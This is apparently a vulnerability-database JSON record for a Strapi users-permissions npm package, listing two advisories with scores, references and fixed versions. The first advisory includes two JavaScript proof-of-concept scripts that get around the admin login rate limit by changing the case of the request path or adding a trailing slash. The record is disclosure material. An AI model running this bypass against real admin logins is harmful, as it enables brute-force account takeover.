{"url":"http://public2.vulnerablecode.io/api/packages/675685?format=json","purl":"pkg:npm/%40strapi/plugin-users-permissions@0.0.0-next.bb5c73781f8518a70f298a269633e26824e29129","type":"npm","namespace":"@strapi","name":"plugin-users-permissions","version":"0.0.0-next.bb5c73781f8518a70f298a269633e26824e29129","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"4.24.2","latest_non_vulnerable_version":"5.45.0","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/46012?format=json","vulnerability_id":"VCID-byez-u4kv-7qac","summary":"Strapi Improper Rate Limiting vulnerability\n### 1. Summary\nThere is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.\n\n### 2. Details\nIt is possible to avoid this by modifying the rate-limited request path as follows.\n1. Manipulating request paths to upper or lower case. (Pattern 1)\n  - In this case, avoidance is possible with various patterns.\n2. Add path slashes to the end of the request path. (Pattern 2)\n\n### 3. PoC\nAccess the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.\n\n#### Pattern 1 (uppercase and lowercase)\n```js\n// poc.js\n(async () => {\n const data1 = {\n  email: \"admin@strapi.com\",  // registered e-mail address\n  password: \"invalid_password\",\n };\n const data2 = {\n  email: \"admin@strapi.com\",\n  password: \"RyG5z-CE2-]*4e4\",  // correct password\n };\n\n for (let i = 0; i < 30; i++) {\n await fetch(\"http://localhost:1337/admin/login\", {\n   method: \"POST\",\n   body: JSON.stringify(data1),\n   headers: {\n    \"Content-Type\": \"application/json\",\n   },\n  });\n }\n\n const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n  method: \"POST\",\n  body: JSON.stringify(data2),\n  headers: {\n   \"Content-Type\": \"application/json\",\n  },\n });\n console.log(res1.status + \" \" + res1.statusText);\n\n const res2 = await fetch(\"http://localhost:1337/admin/Login\", { // capitalize part of path\n  method: \"POST\",\n  body: JSON.stringify(data2),\n  headers: {\n   \"Content-Type\": \"application/json\",\n  },\n });\n console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n#### Pattern 2 (trailing slash)\n```js\n// poc.js\n(async () => {\n const data1 = {\n  email: \"admin@strapi.com\",  // registered e-mail address\n  password: \"invalid_password\",\n };\n const data2 = {\n  email: \"admin@strapi.com\",\n  password: \"RyG5z-CE2-]*4e4\",  // correct password\n };\n\n for (let i = 0; i < 30; i++) {\n  await fetch(\"http://localhost:1337/admin/login\", {\n   method: \"POST\",\n   body: JSON.stringify(data1),\n   headers: {\n    \"Content-Type\": \"application/json\",\n   },\n  });\n }\n\n const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n  method: \"POST\",\n  body: JSON.stringify(data2),\n  headers: {\n   \"Content-Type\": \"application/json\",\n  },\n });\n console.log(res1.status + \" \" + res1.statusText);\n\n const res2 = await fetch(\"http://localhost:1337/admin/login/\", { // trailing slash\n  method: \"POST\",\n  body: JSON.stringify(data2),\n  headers: {\n   \"Content-Type\": \"application/json\",\n  },\n });\n console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n\n\n### 4. Impact\n It is possible to bypass the rate limit of the login function of the admin screen. \nTherefore, the possibility of unauthorized login by login brute force attack increases.\n\n### 5. Measures\nForcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)  \nAlso, remove any extra slashes in the request path.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38507","reference_id":"","reference_type":"","scores":[{"value":"0.00255","scoring_system":"epss","scoring_elements":"0.49123","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00255","scoring_system":"epss","scoring_elements":"0.49106","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00255","scoring_system":"epss","scoring_elements":"0.49094","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00255","scoring_system":"epss","scoring_elements":"0.4913","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00255","scoring_system":"epss","scoring_elements":"0.4914","published_at":"2026-06-06T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2023-38507"},{"reference_url":"https://github.com/strapi/strapi","reference_id":"","reference_type":"","scores":[{"value":"7.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/strapi/strapi"},{"reference_url":"https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31","reference_id":"","reference_type":"","scores":[{"value":"7.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/"}],"url":"https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31"},{"reference_url":"https://github.com/strapi/strapi/releases/tag/v4.12.1","reference_id":"","reference_type":"","scores":[{"value":"7.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/"}],"url":"https://github.com/strapi/strapi/releases/tag/v4.12.1"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2023-38507","reference_id":"CVE-2023-38507","reference_type":"","scores":[{"value":"7.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-38507"},{"reference_url":"https://github.com/advisories/GHSA-24q2-59hm-rh9r","reference_id":"GHSA-24q2-59hm-rh9r","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-24q2-59hm-rh9r"},{"reference_url":"https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r","reference_id":"GHSA-24q2-59hm-rh9r","reference_type":"","scores":[{"value":"7.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-25T18:05:45Z/"}],"url":"https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/66922?format=json","purl":"pkg:npm/%40strapi/plugin-users-permissions@4.12.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-jpqv-dukr-fyhu"},{"vulnerability":"VCID-xceh-jx5u-7bbh"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/plugin-users-permissions@4.12.1"}],"aliases":["CVE-2023-38507","GHSA-24q2-59hm-rh9r"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-byez-u4kv-7qac"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/55352?format=json","vulnerability_id":"VCID-xceh-jx5u-7bbh","summary":"@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass\nBy combining two vulnerabilities (an `Open Redirect` and `session token sent as URL query parameter`) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34065","reference_id":"","reference_type":"","scores":[{"value":"0.00796","scoring_system":"epss","scoring_elements":"0.74366","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00796","scoring_system":"epss","scoring_elements":"0.74375","published_at":"2026-06-09T12:55:00Z"},{"value":"0.00796","scoring_system":"epss","scoring_elements":"0.74349","published_at":"2026-06-08T12:55:00Z"},{"value":"0.00796","scoring_system":"epss","scoring_elements":"0.74379","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00796","scoring_system":"epss","scoring_elements":"0.74374","published_at":"2026-06-05T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34065"},{"reference_url":"https://github.com/strapi/strapi","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/strapi/strapi"},{"reference_url":"https://github.com/strapi/strapi/commit/9c79921d22142a5de77ea26151550a14e4b12669","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/strapi/strapi/commit/9c79921d22142a5de77ea26151550a14e4b12669"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34065","reference_id":"CVE-2024-34065","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34065"},{"reference_url":"https://github.com/advisories/GHSA-wrvh-rcmr-9qfc","reference_id":"GHSA-wrvh-rcmr-9qfc","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wrvh-rcmr-9qfc"},{"reference_url":"https://github.com/strapi/strapi/security/advisories/GHSA-wrvh-rcmr-9qfc","reference_id":"GHSA-wrvh-rcmr-9qfc","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2024-06-12T16:08:21Z/"}],"url":"https://github.com/strapi/strapi/security/advisories/GHSA-wrvh-rcmr-9qfc"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/81843?format=json","purl":"pkg:npm/%40strapi/plugin-users-permissions@4.24.2","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/plugin-users-permissions@4.24.2"}],"aliases":["CVE-2024-34065","GHSA-wrvh-rcmr-9qfc"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-xceh-jx5u-7bbh"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540strapi/plugin-users-permissions@0.0.0-next.bb5c73781f8518a70f298a269633e26824e29129"}